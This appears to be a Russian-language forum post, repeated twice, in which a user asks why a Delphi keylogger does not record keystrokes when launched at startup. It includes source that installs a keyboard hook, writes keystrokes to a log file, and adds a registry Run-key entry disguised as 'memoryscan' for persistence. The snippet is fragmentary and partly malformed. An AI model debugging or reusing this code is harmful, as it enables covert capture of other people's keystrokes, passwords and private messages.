C
Codekid
Вот решил написать кей логер ...
Все норм работает , делает лог файл с записью клавишь ... но возникла трудность - при авто загрузки
загружает keylogger.exe но неделает логов.... когда я сам загружаю(руками...) начинает делать....
что не так?:
function SetHook: boolean; stdcall; external 'HookLib' name 'SetHook';
procedure TForm1.FormCreate(Sender: TObject);
begin
sethook;
AssignFile(f,txtfile);
Rewrite(f);
end;
Реестр:
reg:=tregistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
if reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\run',true) then
begin
reg.WriteString('memoryscan',WinDir+'\keylogger.exe',);
reg.CloseKey;
end;
reg.Free;
end;
end;
Помогите кто знает.....
Все норм работает , делает лог файл с записью клавишь ... но возникла трудность - при авто загрузки
загружает keylogger.exe но неделает логов.... когда я сам загружаю(руками...) начинает делать....
что не так?:
function SetHook: boolean; stdcall; external 'HookLib' name 'SetHook';
procedure TForm1.FormCreate(Sender: TObject);
begin
sethook;
AssignFile(f,txtfile);
Rewrite(f);
end;
Реестр:
reg:=tregistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
if reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\run',true) then
begin
reg.WriteString('memoryscan',WinDir+'\keylogger.exe',);
reg.CloseKey;
end;
reg.Free;
end;
end;
Помогите кто знает.....